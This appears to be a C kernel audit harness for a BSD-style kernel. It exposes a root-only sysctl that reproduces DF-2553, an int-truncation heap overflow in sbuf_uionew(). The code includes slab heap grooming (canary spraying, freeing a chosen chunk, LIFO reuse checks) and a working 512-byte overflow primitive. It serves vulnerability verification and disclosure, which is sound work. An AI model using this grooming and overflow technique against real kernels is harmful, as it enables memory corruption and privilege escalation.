/* * kern_df2553.c -- DF-2553 verification harness (audit rig, NOT upstream code). * * Exposes the stock sbuf_uionew() KPI (sys/kern/subr_sbuf.c, verbatim, * compiled into the running kernel) through a root-only sysctl so the * ssize_t->int length truncation + full-resid uiomove() mismatch can be * demonstrated on a live kernel without any in-tree caller (there are * none today; verified by grep of the whole tree). * * Trigger (root only): * struct df2553_req (40 bytes) written to kern.df2553_trigger * * Modes: * 0 control: uio_resid = 256, single committed iov. Expect sbuf_uionew * success, s_size == 257, data intact, ZERO canary corruption. * 1 overflow: uio_resid = 0x100000000 (iov0 = 512 committed attacker * pattern bytes, iov1 = 0x100000000-512 at a PROT_NONE page). Expect: * sbuf_new() allocates a 1-byte-class chunk (int truncation of * resid+1), uiomove() copies all 512 attacker bytes into it, then * faults on iov1 -> EFAULT; the 512 bytes have smashed the adjacent * sprayed canaries in the same 8-byte kmalloc zone. * 2 negative control: faithful kmalloc(0x100000001) fails (cannot * allocate 4GiB+1 on this guest) while the truncated (int)1 kmalloc * succeeds -- proving the mode-1 allocation could only have succeeded * through truncation. * * Heap grooming (mode 1) uses the per-CPU slab allocator semantics of * kern_slaballoc.c: kmalloc(1) comes from the 8-byte chunk zone * (ZoneAry[0]); kfree() pushes chunks LIFO onto z_LChunks of the owning * zone; kmalloc() pops from the active zone's z_LChunks head. We spray * 8192 one-byte canaries (0xA5 marker), free one canary near the tail of * the current zone, verify with a probe alloc/free that the very next * kmalloc(1) returns exactly that chunk, then call sbuf_uionew() -- the * only 8-byte-class allocation it performs (SBMALLOC(1)) pops our hole * and the copyin() of the 512 attacker bytes lands on it and everything * after it. */ #include #include #include #include #include #include #include #include #include MALLOC_DEFINE(M_DF2553, "df2553", "DF-2553 verification rig"); struct df2553_req { uint64_t base0; /* user mapping: committed pattern bytes */ uint64_t len0; uint64_t base1; /* user mapping: faults on first touch */ uint64_t len1; uint32_t mode; uint32_t pad; }; #define DF2553_PAT "DF2553PWN" #define DF2553_PATLEN 9 #define DF2553_MARK 0xA5 #define DF2553_NCAN 8192 #define DF2553_SMASH 512 /* bytes copied past the 1-byte alloc */ #define DF2553_ZMASK ((uintptr_t)0x1FFFF) /* 128KB slab zones on this rig */ static uint8_t **df2553_can; static int df2553_spray(void) { int i; if (df2553_can == NULL) { df2553_can = kmalloc(DF2553_NCAN * sizeof(uint8_t *), M_DF2553, M_WAITOK | M_ZERO); if (df2553_can == NULL) return (ENOMEM); } for (i = 0; i < DF2553_NCAN; ++i) { if (df2553_can[i] == NULL) { df2553_can[i] = kmalloc(1, M_DF2553, M_WAITOK); if (df2553_can[i] == NULL) return (ENOMEM); } *df2553_can[i] = DF2553_MARK; } return (0); } static void df2553_teardown(void) { int i; if (df2553_can == NULL) return; for (i = 0; i < DF2553_NCAN; ++i) { if (df2553_can[i] != NULL) kfree(df2553_can[i], M_DF2553); } kfree(df2553_can, M_DF2553); df2553_can = NULL; } /* * Scan every canary; report any whose marker byte was clobbered. * For canaries inside the smash window behind the hole, additionally * verify all 8 bytes equal the user pattern at the correct ADDRESS- * derived cyclic offset -- this proves the corrupted bytes are a * linear, ordered copy of the userspace buffer (addr math, not index * math: the zone UIndex wraps so index order != address order). */ static int df2553_scan(void *holep, int verbose) { const uint8_t *pat = (const uint8_t *)DF2553_PAT; int i, k, ncorrupt = 0, first = -1, last = -1, nmatch = 0; for (i = 0; i < DF2553_NCAN; ++i) { if (df2553_can[i] == NULL) continue; if (*df2553_can[i] != DF2553_MARK) { uint8_t *p = df2553_can[i]; size_t off = (size_t)((uintptr_t)p - (uintptr_t)holep); if (first < 0) first = i; last = i; ++ncorrupt; if (verbose && ncorrupt <= 6) { kprintf("DF2553[scan]: canary %d @%p = " "%02x %02x %02x %02x %02x %02x %02x %02x" " (byte0 expected %02x per user pattern" " at +%zu past the 1-byte alloc)\n", i, p, p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7], pat[off % DF2553_PATLEN], off); } if (holep != NULL && off > 0 && off <= DF2553_SMASH) { int ok = 1; for (k = 0; k < 8; ++k) { if (p[k] != pat[(off + k) % DF2553_PATLEN]) ok = 0; } if (ok) ++nmatch; } } } kprintf("DF2553[scan]: corrupted=%d first=%d last=%d " "full-8-byte-pattern-match=%d\n", ncorrupt, first, last, nmatch); return (ncorrupt); } /* * mode 0: control -- small resid, everything must work and nothing must * be corrupted. */ static void df2553_mode0(const struct df2553_req *r) { struct iovec iov; struct uio uio; struct sbuf *s; int err; uint8_t *d; kprintf("DF2553[mode0]: control uio_resid=%llu (0x%llx)\n", (unsigned long long)r->len0, (unsigned long long)r->len0); if (df2553_spray() != 0) { kprintf("DF2553[mode0]: spray FAILED\n"); return; } iov.iov_base = (void *)(uintptr_t)r->base0; iov.iov_len = r->len0; bzero(&uio, sizeof(uio)); uio.uio_iov = &iov; uio.uio_iovcnt = 1; uio.uio_offset = 0; uio.uio_resid = r->len0; uio.uio_segflg = UIO_USERSPACE; uio.uio_rw = UIO_WRITE; uio.uio_td = curthread; s = sbuf_uionew(NULL, &uio, &err); if (s == NULL) { kprintf("DF2553[mode0]: sbuf_uionew FAILED err=%d\n", err); } else { d = (uint8_t *)s->s_buf; kprintf("DF2553[mode0]: OK s=%p err=%d s_size=%lld s_len=%lld " "data[0..7]=%02x %02x %02x %02x %02x %02x %02x %02x\n", s, err, (long long)s->s_size, (long long)s->s_len, d[0], d[1], d[2], d[3], d[4], d[5], d[6], d[7]); sbuf_delete(s); } kprintf("DF2553[mode0]: uio_resid after=%llu (fully drained)\n", (unsigned long long)uio.uio_resid); df2553_scan(NULL, 1); df2553_teardown(); } /* * mode 2: allocation-boundary negative control. */ static void df2553_mode2(void) { void *p; p = kmalloc(0x100000001UL, M_DF2553, M_NOWAIT | M_NULLOK); kprintf("DF2553[mode2]: faithful kmalloc(0x100000001) = %p (%s)\n", p, p != NULL ? "UNEXPECTED SUCCESS" : "NULL: a faithful 4GiB+1 allocation is impossible here"); if (p != NULL) kfree(p, M_DF2553); p = kmalloc((size_t)(int)0x100000001UL, M_DF2553, M_NOWAIT | M_NULLOK); kprintf("DF2553[mode2]: truncated (int)(0x100000001)=1 kmalloc = %p " "usable=%llu\n", p, p != NULL ? (unsigned long long)kmalloc_usable_size(p) : 0ULL); if (p != NULL) kfree(p, M_DF2553); } /* * mode 1: the primitive. */ static void df2553_mode1(const struct df2553_req *r) { struct iovec iov[2]; struct uio uio; struct sbuf *s; uint8_t *holep = NULL; void *probe; int err, hole = -1, h; kprintf("DF2553[mode1]: uio_resid=0x100000000 " "(iov0: 0x%llx committed attacker bytes + " "iov1: 0x%llx at PROT_NONE page)\n", (unsigned long long)r->len0, (unsigned long long)r->len1); kprintf("DF2553[mode1]: sbuf_new length param = (int)(resid+1) = %d; " "uiomove n = resid = %llu <-- mismatch\n", (int)((ssize_t)(r->len0 + r->len1) + 1), (unsigned long long)(r->len0 + r->len1)); if (r->len0 != DF2553_SMASH) { kprintf("DF2553[mode1]: rig expects len0=%d\n", DF2553_SMASH); return; } if (df2553_spray() != 0) { kprintf("DF2553[mode1]: spray FAILED\n"); return; } /* * Build the uio BEFORE touching the allocator further. */ iov[0].iov_base = (void *)(uintptr_t)r->base0; iov[0].iov_len = r->len0; iov[1].iov_base = (void *)(uintptr_t)r->base1; iov[1].iov_len = r->len1; bzero(&uio, sizeof(uio)); uio.uio_iov = iov; uio.uio_iovcnt = 2; uio.uio_offset = 0; uio.uio_resid = (ssize_t)(r->len0 + r->len1); /* 0x100000000 */ uio.uio_segflg = UIO_USERSPACE; uio.uio_rw = UIO_WRITE; uio.uio_td = curthread; /* * Pick the hole: the LOWEST-ADDRESS canary in the frontier zone * (the 128KB slab zone holding the last-sprayed canary -- that zone * is the per-CPU allocator's active zone, ZoneAry[0] TAILQ_LAST, so * the freed chunk becomes its z_LChunks head). Because the ring * fill is address-contiguous, the 512 bytes above the lowest * canary are all allocated canaries of the same zone -- the smash * window then contains only live canaries and no freelist chunks. */ { uintptr_t zlast = (uintptr_t)df2553_can[DF2553_NCAN - 1] & ~DF2553_ZMASK; int cand = -1, i, above = 0; for (i = 0; i < DF2553_NCAN; ++i) { uintptr_t a; if (df2553_can[i] == NULL) continue; a = (uintptr_t)df2553_can[i] & ~DF2553_ZMASK; if (a != zlast) continue; if (cand < 0 || (uintptr_t)df2553_can[i] < (uintptr_t)df2553_can[cand]) cand = i; } if (cand < 0) { kprintf("DF2553[mode1]: no canary in frontier zone?!\n"); df2553_teardown(); return; } for (i = 0; i < DF2553_NCAN; ++i) { uintptr_t a; if (df2553_can[i] == NULL || i == cand) continue; a = (uintptr_t)df2553_can[i]; if (a > (uintptr_t)df2553_can[cand] && a <= (uintptr_t)df2553_can[cand] + DF2553_SMASH) ++above; } if (above < DF2553_SMASH / 8 - 1) { kprintf("DF2553[mode1]: only %d canaries above " "candidate; aborting\n", above); df2553_teardown(); return; } h = cand; } /* * Free the hole, verify with a probe that the allocator hands the * very same chunk back to the next kmalloc(1) (LIFO), then put it * back. SBMALLOC(1) inside sbuf_uionew() will pop it again; the * only intervening allocation is sizeof(struct sbuf) (64-byte * class), a different zone. */ /* * Free the hole, verify with a probe that the allocator hands the * very same chunk back to the next kmalloc(1) (LIFO), then put it * back. SBMALLOC(1) inside sbuf_uionew() will pop it again; the * only intervening allocation is sizeof(struct sbuf) (64-byte * class), a different zone. * * Single shot: if the probe comes back with a different chunk the * allocator had concurrent 8-byte-class traffic; abort (rerun) -- * retrying would leave freed chunks inside the smash window and * corrupt the zone freelist when the overflow lands. */ { uint8_t *victim = df2553_can[h]; kfree(victim, M_DF2553); df2553_can[h] = NULL; probe = kmalloc(1, M_DF2553, M_WAITOK); if (probe == (void *)victim) { kfree(probe, M_DF2553); hole = h; holep = victim; } else { kfree(probe, M_DF2553); } } if (hole < 0) { kprintf("DF2553[mode1]: hole LIFO determinism FAILED " "(allocator noise); no overflow attempted -- rerun\n"); df2553_teardown(); return; } kprintf("DF2553[mode1]: hole = canary idx %d @%p " "(verified: next kmalloc(1) returns exactly this chunk)\n", hole, holep); /* * The call under test. */ s = sbuf_uionew(NULL, &uio, &err); kprintf("DF2553[mode1]: sbuf_uionew returned s=%p *error=%d%s\n", s, err, err == EFAULT ? " (EFAULT: uiomove hit the " "PROT_NONE iov1 AFTER copying iov0)" : " (unexpected)"); kprintf("DF2553[mode1]: uio after: resid=0x%llx iov0.len=%llu " "iov1.len=%llu => %llu attacker bytes were copied into " "s_buf before the fault\n", (unsigned long long)uio.uio_resid, (unsigned long long)iov[0].iov_len, (unsigned long long)iov[1].iov_len, (unsigned long long)(r->len0 - iov[0].iov_len)); /* * The evidence: canaries behind the hole now contain user bytes. */ if (df2553_scan(holep, 1) > 0) kprintf("DF2553[mode1]: *** KERNEL HEAP OVERFLOW REPRODUCED: " "attacker bytes past a 1-byte kmalloc ***\n"); else kprintf("DF2553[mode1]: no corruption observed\n"); df2553_teardown(); } static int df2553_sysctl(SYSCTL_HANDLER_ARGS) { struct df2553_req r; int error; if (req->newptr == NULL) return (EINVAL); error = SYSCTL_IN(req, &r, sizeof(r)); if (error) return (error); kprintf("DF2553: === trigger mode=%u ===\n", r.mode); switch (r.mode) { case 0: df2553_mode0(&r); break; case 1: df2553_mode1(&r); break; case 2: df2553_mode2(); break; default: return (EINVAL); } kprintf("DF2553: === mode=%u done ===\n", r.mode); return (0); } SYSCTL_PROC(_kern, OID_AUTO, df2553_trigger, CTLTYPE_INT | CTLFLAG_RW, 0, 0, df2553_sysctl, "I", "DF-2553 sbuf_uionew verification trigger");